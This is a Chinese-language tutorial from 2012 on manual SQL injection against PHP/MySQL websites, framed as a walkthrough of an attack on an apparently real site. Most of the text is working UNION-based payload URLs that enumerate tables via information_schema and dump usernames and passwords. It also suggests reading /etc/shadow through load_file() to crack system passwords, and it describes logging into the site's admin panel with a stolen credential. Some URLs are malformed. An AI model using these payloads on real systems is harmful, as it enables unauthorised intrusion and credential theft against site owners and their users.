php手工注入的详细步骤

作者：不详 文章来源：华盟收集 点击数：

更新时间：2012-12-6

　　目前php注入工具个人感觉不是很好用，自己用pangolin老是出错，所以决定写一篇php手工注入的例子。

　　手工注入在不同条件下，使用的命令和方法也略为不同，我简单说一下。

　　首先要做的是在判断好字段数后，爆破用户信息，注入的过程中 如果当前数据库连接用户为root或者具有root权限就可以尝试使用loadfile()这个函数来读取文件 比如在linux下我们可以读取 /etc/passwd 和/etc/shadow来暴力破解linux密码

　　在windows下 我们可以读取 一些常见的文件以及敏感的地方比如 serv-u的配置文件 my.ini等等 ，然后就是一一破解字段和字段内容即可。

　　第二种情况通过version()函数得知mysql版本在5.0以上，那么可以使用mysql自带的information_schema这个数据库来查询所有的表，然后也是一一破解字段和字段内容即可。

　　最不好的情况(目前很少了)就是权限不是root，数据库版本过低，那么所有的表，字段都是要自己猜解的，没有工具的情况下，会让工作量加大几十倍，还不一定能猜到，让人汗颜。

　　下面我就以实例介绍一下目前主流的mysql 5.0版本以上，用information_schema这个数据库来查询所有的表的方法来手工注入。

　　1.啊d扫到.注入点

　　http://http://www.zjjv.com///x.php?id=x

　　2. 判断字段数

　　http://http://www.zjjv.com///x.php?id=x order by 4

　　http://http://www.zjjv.com///x.php?id=x order by 5

　　order by 4 返回正确页面，order by 5返回错误页面

　　说明字段数为4，同时网站关闭了回显功能，无法爆出网站物理路径

　　3. 查看基本信息，一般要用到的几个函数：

　　version() 版本 database()当前数据库 user()当前用

　　http://http://www.zjjv.com///x.php?id=x%20and%201=2%20union%20select%201,2,3,4

　　http://http://www.zjjv.com///x.php?id=x%20and%201=2%20union%20select%201,version(),database(),4

　　http://http://www.zjjv.com///x.php?id=x%20and%201=2%20union%20select%201,user(),3,4

　　所以由此可知：

　　User()：a0725135851@W133 database()：a0725135851 version()：5.1.39-community

　　(Mysql 版本>=4.0 支持Union 查询 Mysql >=5.0 支持 information_schema 表查询)。

　　4. 爆表段

　　http://http://www.zjjv.com///x.php?id=x+and+1=2+union+select+1,2,table_name,4+from+information_schema.tables+where+table_schema=0x 6130373235313335383531+limit+0,1

　　爆出来的第一个表是 function

　　http://http://www.zjjv.com///x.php?id=x+and+1=2+union+select+1,2,table_name,4+from+information_schema.tables+where+table_schema=0x 6130373235313335383531+limit+1,1

　　爆出来的第二个表是 member

　　我们在语句后面添加一个limit0,1 意思是显示第一条数据。如果第一条数据不是管理员表，那么我们就增加一条数据limit1,1，以此类推。

　　经过测试一共有15个表。

　　前面的过程相对麻烦下面我介绍一个能直接爆出所有表的简便方法：

　　http://http://www.zjjv.com///x.php?id=x+and+1=2+union+select+1,2 ,concat(0x7B317D,group_concat(distinct+table_name),0x7B317D),4+from+information_schema.columns+where+table_schema=

0x6130373235313335383531

　　爆出来了12个表

　　从这里可以看出来，一次性爆出的表很可能不全，一般情况下，先爆出所有表，如果都不是管理员表，那只能用第一种方法一个一个的爆破。

　　5.快速爆字段

　　从15个表综合来看，装载管理员账号的表很可能是username

　　http://http://www.zjjv.com///x.php?id=x+and+1=2+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x757365726E616D65

　　爆出username表内字段有如上5个

　　6.快速爆字段内容

　　http://http://www.zjjv.com///x.php?id=x and 1=2 union select 1,2,group_concat(username,0x5e,psw),4 from username

　　(0x5e在这里充当间隔符号，换成0x23也是可以的)

　　得出了账号和密码第一个账户密码为： 程序员5091155

　　7.用啊d迅速找到了后台

　　http://http://www.zjjv.com///admin/login.php

　　成功登陆后台。

　　小结：

　　网上能搜到的php手工注入的方法大多数是我前面说的第一种和第三种方法，实际上很少遇到版本很低，数据库权限是root的情况了，方法自然也是无法再用，这个教程也算是对第二种方法的利用的补充吧。